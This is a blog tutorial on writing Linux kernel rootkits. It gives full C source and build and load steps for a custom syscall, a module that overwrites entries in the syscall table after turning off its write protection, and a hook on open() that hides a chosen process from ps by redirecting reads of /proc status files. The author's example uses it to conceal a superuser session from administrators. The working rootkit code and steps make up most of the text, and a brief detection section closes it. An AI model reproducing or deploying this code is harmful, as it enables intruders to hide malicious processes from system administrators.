Basics of Making a Rootkit: From syscall to hook!

deeper

WARNING: This tutorial is for educational purposes only, and by NO MEANS should you actually be malicious when (or after) making a rootkit. I thought I'd share how to do this for any security minded people who would like to learn more on how to prevent or look for rootkits. This will be done in C on Linux, probably using libraries and functions you've never seen. It is also advisable to do this in a VM to get the hang of compiling and loading modules. Messing with the kernel can cause things to go crazy, if not break- you have been warned.

Jump to:

So what is a rootkit anyways?

Simply put: it is malicious program that hides its existence from within an operating system to perform malicious activities that go unseen. Imagine a program that was imbedded into your current OS that actively hides a virus from your process list, or replaces log file output, or both- effectively erasing its very existence. It can manipulate system calls from within the protected area of memory or directing packets on an interface out to another. This tutorial will focus on hooking system calls to perform these activities. In the first section of this tutorial we will make our very own system call, followed by making a rootkit that hooks to our system call. In the final part we will create a rootkit that hides a process of our choosing.

User Space and Kernel Space

The reason we are making a system call first is to better understand what happens in kernel space vs user space. Processes running in user space have limited access to memory, while kernel space has access to all memory. However, user space can access kernel space through interfaces exposed by the kernel: system calls. If you’ve ever programmed with C and played around in Linux (yes, we will be programming in C but no worries it will be simple),  then you’ve probably used system calls without even knowing it. Read()write()open() are just a few examples of system calls that are usually called from within the libraries such as fopen() or fprintf().
Just because you are running as root does not mean you are in kernel space. Running as root is actually a user space process. Roots UID=0, which the kernel has checked to verify its permissions. Superuser privileges still make requests to the kernel through system call interfaces. I hope that is clear, if not then you should probably research more elsewhere before beginning this.
Ok enough chat, let’s get started.
Requirements:
  • A linux Kernel (I am using debian minimal install, kernel version 3.16.36)
  • Virtual machine software (VMware, Virtualbox, ESXi, etc)
  • I recommend giving the VM 2 cores, and at minimum of 4GB RAM, but 1 core and 2GB will do.
Obligatory side info:
  1. I will not be explaining too much in detail about the code sections as I have left comments that should help. By doing this it encourages the reader to research more and learn more.
  2. The reason my VM was a Debian minimal install was because older kernels seem to be easier to work with when making system calls so that is why I chose 3.16.36.
  3. I ran every command as the VMs root account.
  4. This is the way I went about it, not the SET IN STONE way. You may find an easier, more efficient way. If you do let me know so I can learn too!

Creating a Syscall: pname

With the VM booted up, let’s grab a copy of the kernel source to play with. There are several tutorials that assist in getting things setup to begin making your own system call. If you would like to make a more simple “hello world” system call then follow this guide: https://chirath02.wordpress.com/2016/08/24/hello-world-system-call/.
Get a copy of the source kernel and extract it to /usr/src :
wget https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.16.36.tar.xztar -xvf linux-3.16.36.tar.xz -C /usr/src/
cd /usr/src/linux-3.16.36
pname (process name):
Now, let us begin with a simple syscall that when passed a process name it returns the corresponding PID to the terminal that initiated the syscall. First create the directory pname and cd into it:
mkdir pname
cd pname
nano pname.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <linux/syscalls.h>
#include <linux/kernel.h>
#include <linux/sched.>
#include <linux/init.h>
#include <linux/tty.h>
#include <linux/string.h>
 
#include "pname.h"
 
asmlinkage long sys_process_name(char* process_name){
 
    /*tasklist struct to use*/
    struct task_struct *task;
 
    /*tty struct*/
    struct tty_struct *my_tty;
 
    /*get current tty*/
    my_tty = get_current_tty();
 
    /*placeholder to print full string to tty*/
    char name[32];
 
    /*<sched.h> library method that iterates through list of processes from task_struct defined above*/
    for_each_process(task){
 
        /*compares the current process name (defined in task->comm) to the passed in name*/
        if(strcmp(task->comm,process_name) == 0){
 
            /*convert to string and put into name[]*/
            sprintf(name, "PID = %ld\n", (long)task_pid_nr(task));
 
            /*show result to user that called the syscall*/
                        (my_tty->driver->ops->write) (my_tty, name, strlen(name)+1);
        }
    }
    return 0;
}
Then create the header file : nano pname.h
1
asmlinkage long sys_process_name(char* process_name);
Next, create a Makefile:
nano Makefile
Inside, add this line:
obj-y := pname.o
Save and exit.
Add pname directory to the kernel’s Makefile:
Go back to the /usr/src/linux-3.16.36 directory and edit the Makefile:
cd ..
nano Makefile

You want to look for the line that says core-y += kernel/ mm/ fs/ ipc/ security/ crypto/ block/
cat -n Makefile | grep -i core-y 
then
nano +(line number from the cat command here) Makefile
nano
Append pname directory to end of this line (don’t forget the “/”):
core-y += kernel/ mm/ fs/ ipc/ security/ crypto/ block/ pname/
When we compile this, the compiler will know where to include the new system call source file we created.
Adding pname and sys_process_name to syscall table:
Make sure you are still in the /usr/src/linux-3.16.36 directory. We need to add in our new system call to the syscall table. If you are using a 64-bit system then it will be added after the first 300-something of the syscall_64.tbl file (keeps 64-bit and 32-bit system calls segregated). My 64-bit system calls end at after #319, so my new syscall will be #320. If its a 32-bit system then you edit the very end of syscall_32.tbl file instead.
nano arch/x86/syscalls/syscall_64.tbl
Add in the new system call:
320 common pname sys_process_name
systable
Adding sys_process_name(char* process_name) to syscall header file:
Lastly, the header file must have the prototype to our function because asmlinkageis used to define the parameters of the function to be available on the stack. This must be added to the very bottom of the include/linux/syscalls.h file:
asmlinkage long sys_process_name(char* process_name);
sysheader
Compile the new kernel (Time to go grab a coffee):
This part is going to take a long time, as in probably 1-2 or more hours depending on how much resources this VM has. From the /usr/src/linux-3.16.36 source folder type:
make menuconfig
Arrow over to save, hit enter. Then exit.
If you are running a VM with 2 cores, you can use:
make -j 2
-otherwise just type:
make
Now go wait a bit and come back when it’s done.
Install the newly compiled kernel:
After it’s finished (hopefully without any errors) it must be installed followed by a reboot.
make install -j 2 # or without -j option if not enough cores
make modules_install install
reboot
Testing the new pname syscall:
Remember adding in our system call to the syscall table by appending a new number in the list? Mine was 320, which means the system call number is 320 and we have to pass in a process name in the form of a string. Let’s test our new system call.
nano testPname.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <linux/kernel.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <string.h>
 
int main(){
 
    char name[32];
    puts("Enter process to find");
    scanf("%s",name);
    strtok(name, "\n");
    long int status = syscall(320, name); //syscall number 320 and passing in the string.
 
    printf("System call returned %ld\n", status);
    return 0;
}
gcc testPname.c -o testPname
./testPname
Since I am using ssh to configure my VM, I will pass in the process sshd. I opened another terminal to view all processes with sshd running, then ran the executable:
pname
The system call found the 3 sshd processes (grep sshd is not a running sshd process) when iterating through the process list, printed it over TTY on the terminal that called it, and successfully exited with a status of 0.
You now have the power of finding processes within the kernel- the protected area of memory. You will not find this system call running in this process list, but you will find the testPname executable running:
testpname
How would you find our new system call? Easy: strace (system call trace).
sudo apt-get install strace
Run strace on the executable, it will pause waiting to read user input (through read() syscall, but remember we used the scanf() function from stdio.h library in our testing program). Enter whatever process you like again.
I highlighted from read() syscall to program exit below:
strace ./testPname
strace
Once the bash process name was passed, strace picked up the system call it used- our syscall_320. Check out all the other system calls our program runs such as mmap (memory map) and mprotect (memory protect). I encourage you to research each to fully understand the capabilities they all can do, and think carefully what an attacker can potentially leverage from them.
Later we will be hooking onto the open() system call, but for now lets hook that syscall_320 in our first ever basic rootkit🙂

Peter “Pname” Pan gets captured by Captain “Rootkit” Hook

To begin, understand that now you will be making a kernel module in the form of a hook, not a system call. Modules can be loaded and removed from the kernel at any given point (provided you are authorized) using the insmod and rmmod commands. To view all currently running modules you would use lsmod. As much as our new program is going to be a module, technically it is a hook by definition since we are “hooking” onto our pname system call that we created earlier.
When doing research I found a great coding explanation for how to go about making my first hook here at https://www.quora.com/How-can-I-hook-system-calls-in-Linux. Make a directory of your choosing to store our hook in and cd into it, mine is in my root folder.
Finding the sys_call_table address:
Before anything we need to find our system call table address, once we acquire this we will be able to manipulate it and hook our syscall. In the terminal just type:
cat /boot/System.map-3.16.36 | grep sys_call_table
syscalltablelocation
Copy this address to be pasted into our code.
NOTE: There are ways to dynamically search for the sys_call_table, which I highly recommend doing instead of hard coding. However, for the simplicity of learning this works just fine. I will be doing a more advanced version of a rootkit later in which it has this capability. If you would like to jump ahead though and try it out yourself I suggest reading this: https://memset.wordpress.com/2011/01/20/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x/
Hook! Hook! Hook!
The following is my captainHook.c:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#include <asm/unistd.h>
#include <asm/cacheflush.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <asm/pgtable_types.h>
#include <linux/highmem.h>
#include <linux/fs.h>
#include <linux/sched.h>
#include <linux/moduleparam.h>
#include <linux/unistd.h>
#include <asm/cacheflush.h>
 
MODULE_LICENSE("GPL");
MODULE_AUTHOR("D0hnuts");
/*MY sys_call_table address*/
//ffffffff81601680
 
void **system_call_table_addr;
 
/*my custom syscall that takes process name*/
asmlinkage int (*custom_syscall) (char* name);
 
/*hook*/
asmlinkage int captain_hook(char* play_here) {
    /*do whatever here (print "HAHAHA", reverse their string, etc)
        But for now we will just print to the dmesg log*/
    printk(KERN_INFO "Pname Syscall:HOOK! HOOK! HOOK! HOOK!...ROOOFFIIOO!");
    return custom_syscall(play_here);
}
 
/*Make page writeable*/
int make_rw(unsigned long address){
 
    unsigned int level;
    pte_t *pte = lookup_address(address, &level);
    if(pte->pte &~_PAGE_RW){
        pte->pte |=_PAGE_RW;
    }
    return 0;
}
 
/* Make the page write protected */
int make_ro(unsigned long address){
 
    unsigned int level;
    pte_t *pte = lookup_address(address, &level);
    pte->pte = pte->pte &~_PAGE_RW;
    return 0;
}
 
static int __init entry_point(void){
 
    printk(KERN_INFO "Captain Hook loaded successfully..\n");
    /*MY sys_call_table address*/
    system_call_table_addr = (void*)0xffffffff81601680;
 
    /* Replace custom syscall with the correct system call name (write,open,etc) to hook*/
    custom_syscall = system_call_table_addr[__NR_pname];
 
    /*Disable page protection*/
    make_rw((unsigned long)system_call_table_addr);
    /*Change syscall to our syscall function*/
    system_call_table_addr[__NR_pname] = captain_hook;
    return 0;
}
 
static int __exit exit_point(void){
 
        printk(KERN_INFO "Unloaded Captain Hook successfully\n");
 
    /*Restore original system call */
    system_call_table_addr[__NR_pname] = custom_syscall;
 
    /*Renable page protection*/
    make_ro((unsigned long)system_call_table_addr);
    return 0;
}
 
module_init(entry_point);
module_exit(exit_point);
You may have noticed the __NR_pname, this stands for number- so the number of pname’s syscall. Remember when we added our syscall to the syscall_64.tbl (tbl = table duhh). We gave it a number, a name, and function name. Here we use the name (pname). It intercepts the pname syscall and prints to dmesg once done successfully.
Create the Makefile:
We have to create another Makefile like we did when making the system call, but since it’s a module it will be a bit different:
nano Makefile
1
2
3
4
5
6
7
obj-m += captainHook.o
 
all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
 
clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
hooksettings
Test the hook after loading into running kernel:
With everything setup and currently in the hooks main directory with the Makefile: it’s time to compile… -no wait don’t go for another coffee! This won’t be like compiling the kernel! This is a module remember? Just type:
make
And that’s it, you’re done. You should now have a few other files in there, what we want is the .ko file:
make
Now open another terminal, type the following to clear out dmesg and then tail its output while you insert the module and run testPname:
FIRST TERMINAL:
DMESG -C
DMESG -WH
SECOND TERMINAL:
INSMOD CAPTAINHOOK.KO
CD ..
./TESTPNAME
RMMOD CAPTAINHOOK

captainhookworks
If you made it this far then you succesfully made a hook that grabs a system call= a rootkit! Imagine if your __NR_ pname was __NR_open or __NR_read? I’ll let you experiment with this, or continue onto the next secion.  There are lots of other tutorials out there that assist with this. I suggest you start here after completing mine:  https://ruinedsec.wordpress.com/2013/04/04/modifying-system-calls-dispatching-linux/ 

Hiding From the System Admins “ps” Command

Now, let’s use some rough programming to create a way to hide a process when someone issues the ps command. Before starting, find the PID of a process you wish to hide, and another process you wish to make it look like. So in my example I will be attempting to mask the su (sudo) process with another bash process so the system admin does not see someone else is running with superuser privileges.
NOTE: Everything in Linux is a file. If you want CPU model or other info its in the "/proc/cpuinfo" file, or Kernel version will be in "/proc/version" file. Even system uptime or idle time in the "/proc/uptime" and "/proc/stat" files respectively. When issuing the ps command it is actually opening the process's file to view its information using the open() syscall. When the process first starts it is written to a file with their corresponding PID # using the write() syscall. Use strace on the ps command to find them, or to see what other syscalls it uses.
We will be using captainHook.c as a template:
nano phide.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#include <asm/unistd.h>
#include <asm/cacheflush.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <asm/pgtable_types.h>
#include <linux/highmem.h>
#include <linux/fs.h>
#include <linux/sched.h>
#include <linux/moduleparam.h>
#include <linux/unistd.h>
#include <asm/cacheflush.h>
 
MODULE_LICENSE("GPL");
MODULE_LICENSE("D0hnuts");
 
/*MY sys_call_table address*/
//ffffffff81601680
 
void **system_call_table_addr;
 
asmlinkage int (*original_open)(const char *pathname, int flags);
 
asmlinkage int open_hijack(const char *pathname, int flags) {
    /*This hooks all  OPEN sys calls and check to see what the path of the file being opened is
    currently, the paths must be hard coded for the process you wish to hide, and the process you would like it to impersonate*/
    if(strstr(pathname, "/proc/2793/status") != NULL) {
        printk(KERN_ALERT "PS PROCESS HIJACKED %s\n", pathname);
    //The new process location will be written into the syscall table for the open command, causing it to open a different file than the one originaly requested
        memcpy(pathname, "/proc/2794/status", strlen(pathname)+1);
    }
 
    return (*original_open)(pathname, flags);
}
 
//Make syscall table  writeable
int make_rw(unsigned long address){
 
        unsigned int level;
        pte_t *pte = lookup_address(address, &level);
        if(pte->pte &~_PAGE_RW){
                pte->pte |=_PAGE_RW;
        }
        return 0;
}
 
// Make the syscall table  write protected
int make_ro(unsigned long address){
 
        unsigned int level;
        pte_t *pte = lookup_address(address, &level);
        pte->pte = pte->pte &~_PAGE_RW;
        return 0;
}
 
static int __init start(void){
 
        system_call_table_addr = (void*)0xffffffff81601680;
 
    //return the system call to its original state
        original_open = system_call_table_addr[__NR_open];
 
        //Disable page protection
        make_rw((unsigned long)system_call_table_addr);
        system_call_table_addr[__NR_open] = open_hijack;
        printk(KERN_INFO "Open psHook loaded successfully..\n");
    return 0;
}
 
static int __exit end(void){
 
        //restore original system call
        system_call_table_addr[__NR_open] = original_open;
 
        //Enable syscall table  protection
        make_ro((unsigned long)system_call_table_addr);
    printk(KERN_INFO "Unloaded Open psHook successfully\n");
 
        return 0;
}
 
module_init(start);
module_exit(end);
Copy and edit the Makefile used before so it says “phide.o” instead of “captainHook.o” at the top.
And again, like captainHook we just
make
and
insmod phide.ko (make sure to be watching dmesg):
pshide
And that’s it!!! This rootkit takes a hard-coded process the user wishes to hide. This could be used to hide more than one process of course, to really cause confusion.

Okay so.. how to protect from this crazy easy stuff?

  1. If you noticed, I basically masked a process with another running process. So there are duplicate PIDs in the PS table. It should stick out, but there are ways of hiding it completely that I plan to demonstrate in a future rootkit post.
  2. Remember earlier I mentioned the lsmod command? It does exactly that, lists out modules running on the kernel. Will it be hard to spot something? YES, but still good to look at.
    lsmod
    It is also good to look at all modules: cat /proc/modules
  3. Since rootkits usually lie in wait within memory, it’s best to get a program that actively looks for it. Tools such as:

raise

Conclusion

Hope you were able to learn a bit about system calls, kernel space, and user space. Most importantly how easy it is to hook onto system calls and do nearly anything you want with minimal programming. There are several very advanced types of rootkits out there, I hope to do more examples in the future that assists in understanding them. The next one will involve masking an entire process without looking for the PID.
Cheers
-D0hnuts

Comments